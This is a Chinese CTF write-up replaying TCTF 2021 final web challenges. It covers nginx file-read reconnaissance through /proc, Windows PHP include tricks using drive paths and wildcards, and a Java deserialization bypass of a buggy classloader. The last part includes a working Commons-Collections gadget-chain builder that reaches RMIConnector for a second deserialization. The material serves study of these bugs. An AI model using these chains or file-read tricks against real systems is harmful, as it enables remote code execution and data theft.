[TCTF2021 final]复现
作为垃圾选手在TCTF qual中被暴打,居然还能被邀请参加决赛,谢谢腾讯给我一个机会,被打的很惨,有机会的话明年还想来挨打。web一题没出,完全不会,赛后环境也急速关闭跑路了,只能根据附件和wp进行复现尝试
eeeenginx
唯一做出来的一个题,还是个misc。。。
给了一个nginx搭建的服务,有一个任意文件下载。
乱翻是翻不到东西的,尝试读cmdline,读/proc/self/cmdline只读到是nginx的work进程,没用。再次复习老国王的读proc之术
先读/sys/fs/cgroup/systemd/tasks
,能拿到所有的进程号,就能用/proc/pid/cmdline
来看有什么内容了,看了一下,一号进程是nginx主进程,剩下的全是子进程,但是主进程中的cmdline是这样的
nginx: master process
/usr/local/openresty/nginx/sbin/nginx -p /work/ -c conf/nginx.conf -g daemon off;
没用仔细研究过nginx命令行,但是这个work看起来就很像是工作目录之类的东西,直接读/work/conf/nginx.conf
拿到配置文件。然后配置文件里写功能是lua脚本实现的,读lua脚本,也读不到什么东西,就是个正常的输入文件名,然后返回对应文件,搜了搜对应函数和功能,似乎也没有什么漏洞。
读了一波error.log,想从之前做出来的人手中获得些什么,没翻到什么有用的,老国王直接从哪翻出来了整个access.log。。。error log是直接配置在了当前目录下的log/error.log下的,不知道access.log是在哪,当时没试现在环境没了,/usr/local/nginx/logs/access.log
?还是也就在log下?或者/usr/local/openresty/nginx/logs/access.log
?
然后我们翻着翻着,翻到了有意思的东西
突然出现了一句/opt/module/ngx_http_eeenginx.c
一个nginx扩展模块?(我现在都不知道是从哪找到的nginx的扩展模块配置)读下来发现里面直接有一个shell功能,直接执行readflag,在提交的某个cookie为特定值时触发。有意思的是那个文件里还附带了这个恶意模块的作者。。。去GitHub上还真能搜到,并且仓库里的代码就和题目的别无二致,因为命令执行时是直接把标准输入输出给连到当前会话上了,所以要nc上去通信,因此作者还自己写了个客户端。。。用python发包也行,也能拿到错误信息,就是flag,而burp就因为收到的不是http包啥都不显示。
pwnginx
win-win
恐怕是唯一一个能被我理解的题目了。。。代码至善至美,又是经典1 line php(其实有三行),代码大概就是这个样子<?php highlight_file(__FILE__);readfile($_GET['win']);include __DIR__.$_GET['win'];
给了一个白的无过滤include,hint中说关了upload progress。
先用新学的pearcmd打一波。无反应,那就读一个/etc/passwd,读不到。试了半天只能读index.php,没有phpinfo,我一度怀疑上了个无敌的open basedir。试了试远程读取,应该开了allow url fopen,拼了目录,就算开了allow url include也没用,并且如果开了无敌的open basedir的话,没法打,于是乱按按出来了一个404报错,给我来了一句Apache(Win32)
(还是win64来着,记不清了),还附带了一个openssl版本,看起来不是一般的Apache,起码告诉我这是一个windows机器了。。
那么windows读什么?windows下/etc/passwd的等效替代品是C:/windows/win.ini,读到这个文件先确认任意文件读
然后不会了,试着去猜了猜php.ini和httd.conf的路径,都猜不到,那就不知道接下来怎么打了
wp环节
似乎还有很多解,不过都深入到了winapi这种超级底层,以及一个非常关键的windows下文件名通配符
这个东西我以前还写过。。。但是完全没记住呢,赛后rmb神仙和我提起我才想起来。。。又进行了额外的测试
ROIS解
ROIS用的是\\.\C:
这样子的一个方式,windows下的特殊规则\\.\X:
可以访问到X这个盘符,据他们所言这个操作能拿到整个C盘(那不是有几十个G?)然后他们就拿到了PHP上传文件时的默认路径,然后使用了windows下的文件通配符,直接包含文件上传时PHP产生的临时文件
这个方法我稍微试验了一下,访问这个C盘需要对C盘下所有文件夹及文件拥有权限,也就是得开administrator这个号,所以一般情况下这个方式也并不实用
NeSE解
类似,但是听起来更预期一些,我在比赛的时候就用相对目录确认了index.php是在C:/xxx/index.php
目录下的,因为跳一层目录后可以读到win.ini。
但是那个时候没想起来可以利用windows文件通配符进行目录猜解,这里只有一层目录未知,是可以猜解出来路径名为C:/htdocs/index.php
,不过我估计我猜解出这个目录也没什么用。。。并且据说神仙直接从404的报错中就猜出来了这个服务是用XAMPP安装的(我完全不知道怎么看出来的,就因为报错里多了个openssl的版本吗)
总之,htdocs是XAMPP安装时web根目录的名字,但是这里他改了httpd.conf,所以根目录的位置变了,但是安装一个XAMPP的话能知道里面的文件名和路径都是固定的,可以以此来爆破XAMPP的安装路径(当然需要安装路径也只有一个深度),获取到XAMPP路径后php.ini,Apache配置文件各种东西随便读,当然也是读到PHP放上传文件的临时目录,再用通配符进行匹配包含
顺便记一下可以看的一些乱七八糟文件C:\Windows\debug\NetSetup.log
C:\Windows\Logs\DISM\dism.log
Nu1l解
不知道是什么,听说是webdav整出readfile缓存?
不会,但是找到了一个新玩具,procmon,可以监控文件系统之类的,下次玩一下
先咕,想起来了再复现
BuggyLoader
这个题刚看到我就想起来以前zsx写的一篇shiro classloader导致cc 3.1的链打不通的文章,也确实就是这么个东西,不过由于我是超级java废物所以不会,赛后才开始慢慢的复现
题目的依赖中有common-collection3.1,反序列化的ObjectInputStream是自己实现的,如下
package com.yxxx.buggyLoader;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.net.URL;
import java.net.URLClassLoader;
import org.apache.commons.collections.Transformer;
public class MyObjectInputStream extends ObjectInputStream {
private ClassLoader classLoader;
public MyObjectInputStream(InputStream inputStream) throws Exception {
super(inputStream);
URL[] urls = ((URLClassLoader)Transformer.class.getClassLoader()).getURLs();
this.classLoader = new URLClassLoader(urls);
}
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class clazz = this.classLoader.loadClass(desc.getName());
return clazz;
}
}
自己定义了一个ObjectInputStream,然后重写了resolveClass方法,用的classLoader的loadClass,而不是Class.forName
关于shiro的classloader的实现bug问题有很多相关链接,这里放几个,不过赛时由于没有自己动手调过,对这些文章的理解不太深刻,看了半天看不懂。。。。手动调了一个下午之后感觉又理解一些了呜呜
Pwn a CTF Platform with Java JRMP Gadget
强网杯“彩蛋”——Shiro 1.2.4(SHIRO-550)漏洞之发散性思考
shiro-1.2.4反序列化分析踩坑
整个问题的关键点就在orange文章中的那条评论里
Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class。
也可以看这个Stack Overflow上的问题
Loading an array with a classloader
手动复制粘贴了他的代码进行调试,分别测试两个函数的结果
this.classLoader.loadClass(desc.getName());
Class.forName(desc.getName(), false, this.classLoader);
双亲委派 review
classLoader.loadClass进去先是经典的双亲委派模型,这里我都有点忘了是什么了,后来复习了一下,才想起来是先找是否已经加载此类,未加载则一直往上找找到最顶层classloader,再从顶层开始加载,加载不到再委托下级classloader加载,最终抛出classNotFound异常
这篇文章里面有个图
java双亲委派机制及作用
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}
if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);
// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}
经典双亲委派,先看有没有加载,自己没加载直接上去找父加载器有没有加载,每个classloader都是进这个函数,父加载器没有就进自己的findClass,如果找不到就抛出异常给下一级加载器catch
loadClass debug
因为这里在进resolveClass时,desc.getName得到的值是[Lorg.apache.commons.collections.Transformer;
开头的[L
和结尾的;
表示这是一个数组,而在findClass中,他是这么找的
protected Class<?> findClass(final String name)
throws ClassNotFoundException
{
final Class<?> result;
try {
result = AccessController.doPrivileged(
new PrivilegedExceptionAction<Class<?>>() {
public Class<?> run() throws ClassNotFoundException {
String path = name.replace('.', '/').concat(".class");
Resource res = ucp.getResource(path, false);
if (res != null) {
try {
return defineClass(name, res);
} catch (IOException e) {
throw new ClassNotFoundException(name, e);
}
} else {
return null;
}
}
}, acc);
} catch (java.security.PrivilegedActionException pae) {
throw (ClassNotFoundException) pae.getException();
}
if (result == null) {
throw new ClassNotFoundException(name);
}
return result;
}
并没有对传入的类类名是带有数组标记进行额外的处理,对path只是进行了简单的替换String path = name.replace('.', '/').concat(".class");
那么得到的的路径就非常的垃圾[Lorg/apache/commons/collections/Transformer;.class
显然,这样子的路径是无法加载到类的
Class.forName debug
那么用Class.forName呢?
直接进forName函数,在forName的最后返回了这个return forName0(name, initialize, loader, caller);
name还是带[L
的类名,loader是我们传入的URLClassloader。
跟进该方法,结果发现这是个native方法,看不到内容,直接给我跳到了URLClassloader的loadClass方法中,但此时的类名已经被处理掉了,变成了正常的类名,去除了数组标记
然后就进入了之前使用的classloader.loadClass函数
可以看出来,使用Class.forName进行类加载时,会有一个native方法对类名的修饰符进行修改,使其为一个正常的类完全限定名,而后才交给loadClass方法进行加载,而这里直接写了个loadClass,导致了最终得到了奇怪的路径,导致加载失败
所以orange下面的那句评论可以说是非常关键了。当然,shiro的加载失败情况更为复杂,这里不在赘述了,上述链接中给出了很多内容
失败的尝试
这里的问题就在于,使用了这个buggy classloader后,cc链常用的payload中,transformer数组的方法就打不通了。orange也在文章中提到了新的打法,用不带数组的payload去打,比如JRMPListener,但是题目又给服务套了一层内网环境,用URLDNS打了一下发现机器不通外网。因此该方案同样无效
首先是拿自带数组的经典CC5打了一遍,不过打起来的时候报错是StackTraceElement
这个类找不到,而不是后面的Transformer数组
java大师tr1ple发了我一份他写的templateImpl的payload,是直接把templateImpl作为TiedMapEntry的key,Transformer只放一个InvokerTransformer触发,这个乍一看是没有用到数组的,但是同样也是用BadAttributeValueExpException这个类触发的,而其继承自Exception继承自Throwable,而StackTraceElement[]
就是Throwable中的一个成员变量。
不过这次运行的错误并不一致,调试之后发现StackTraceElement虽然加载没有成功,但是抛出的错误被catch住了,而ois会继续跑下去。
之后会去加载templateImpl类,并且会调用到templateImpl的readObject,在这里面会用buggyloader去加载其_bytes
属性,而该属性是一个二维数组,同样无法被加载
同样,在抛出错误后被catch并继续ois流的读取,接下来会读到一个[B
的描述符并进行加载,此时会直接读到错误的数据,抛出一个StreamCorruptedException
,而该错误没有catch直接就程序终止了
目前暂未找到为什么templateImpl在加载过程中对ClassNotFound全都不管,最后是出现了流的数据乱掉了抛出的错误,而CC链则直接抛出了ClassNotFound
学习完CC链后的更新
使用CC6的链去触发,TiedMapEntry+InvokerTransformer可以做到对任意类的public方法的调用,而CC6的HashSet就没有自带的数组,是不是能搞定?
结果还是不行。。。呜呜呜,报错还是流乱了,可能是真的byte[][]
也不能加载吧
题解
正解翻到了一个触发二次反序列化的点,使用的是RMIConnector
这个类,其有一个public方法connect,其中调用findRMIServer方法,该方法通过给定的url去加载一个RMI的stub
private RMIServer findRMIServer(JMXServiceURL directoryURL,
Map<String, Object> environment)
throws NamingException, IOException {
final boolean isIiop = RMIConnectorServer.isIiopURL(directoryURL,true);
if (isIiop) {
// Make sure java.naming.corba.orb is in the Map.
environment.put(EnvHelp.DEFAULT_ORB,resolveOrb(environment));
}
String path = directoryURL.getURLPath();
int end = path.indexOf(';');
if (end < 0) end = path.length();
if (path.startsWith("/jndi/"))
return findRMIServerJNDI(path.substring(6,end), environment, isIiop);
else if (path.startsWith("/stub/"))
return findRMIServerJRMP(path.substring(6,end), environment, isIiop);
else if (path.startsWith("/ior/")) {
if (!IIOPHelper.isAvailable())
throw new IOException("iiop protocol not available");
return findRMIServerIIOP(path.substring(5,end), environment, isIiop);
} else {
final String msg = "URL path must begin with /jndi/ or /stub/ " +
"or /ior/: " + path;
throw new MalformedURLException(msg);
}
}
而在使用协议为stub时,调用findRMIServerJRMP方法,而该方法对输入数据直接进行了反序列化
private RMIServer findRMIServerJRMP(String base64, Map<String, ?> env, boolean isIiop)
throws IOException {
// could forbid "iiop:" URL here -- but do we need to?
final byte[] serialized;
try {
serialized = base64ToByteArray(base64);
} catch (IllegalArgumentException e) {
throw new MalformedURLException("Bad BASE64 encoding: " +
e.getMessage());
}
final ByteArrayInputStream bin = new ByteArrayInputStream(serialized);
final ClassLoader loader = EnvHelp.resolveClientClassLoader(env);
final ObjectInputStream oin =
(loader == null) ?
new ObjectInputStream(bin) :
new ObjectInputStreamWithLoader(bin, loader);
final Object stub;
try {
stub = oin.readObject();
} catch (ClassNotFoundException e) {
throw new MalformedURLException("Class not found: " + e);
}
return (RMIServer)stub;
}
至于这个类怎么被找出来的,就只有问神仙了。。。。
可以看到这个方法中使用的ois并非之前环境上下文中的buggyois,而是自己重新加载了一个新的ois,因此能绕过错误的classloader实现,再把一般情况下能打通的payload进行反序列化
正常情况下可以打通的payload即为templateImpl,由于机器不出外网,将templateImpl的payload修改为tomcat获取response对象回显的payload
这里直接抄wp的代码
public static Object getRMIConnector(final String command) throws Exception {
Constructor con = InvokerTransformer.class.getDeclaredConstructor(String.class);
con.setAccessible(true);
// need a public method
InvokerTransformer transformer = (InvokerTransformer) con.newInstance("connect");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(getTemplateImpl(command));
byte[] payload = baos.toByteArray();
BASE64Encoder base64 = new BASE64Encoder();
String result = base64.encode(payload).replaceAll("\r\n", "");
JMXServiceURL jurl = new JMXServiceURL("service:jmx:rmi:///stub/"+result);
Map hashMapp = new HashMap();
RMIConnector rc = new RMIConnector(jurl,hashMapp);
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rc);
HashSet hashSet = new HashSet(1);
hashSet.add("c014");
Field fmap = hashSet.getClass().getDeclaredField("map");
fmap.setAccessible(true);
HashMap innimpl = (HashMap) fmap.get(hashSet);
Field ftable = hashMap.getClass().getDeclaredField("table");
ftable.setAccessible(true);
Object[] nodes =(Object[])ftable.get(innimpl);
Object node = nodes[1];
Field fnode = node.getClass().getDeclaredField("key");
fnode.setAccessible(true);
fnode.set(node, tiedMapEntry);
return hashSet;
}
这里额外讲一下这个JMXServiceURL("service:jmx:rmi:///stub/"+result);
,wp中的url为service:jmx:rmi://host:port/stub/payload
而我们知道内网机器并不出网,因此host和port理论上是没有用的,而在host和port本身不存在的情况下还能使用,这就有点奇怪,为此专门搜了一下这个协议是什么情况
JMXServiceURL使用说明
简单的说就是这个host和port在连接方是client的时候是完全没有用的,而是server的时候也没什么大用(所以为什么还要设计这个东西呢。。。)因此直接不填也没关系
而看到findRMIServer中的处理,其使用的path来自于String path = directoryURL.getURLPath();
,而getURLPath()直接返回的就是port之后的全部内容,可以说是真的完全不看一眼前面是什么了。乱写也没事,就占个坑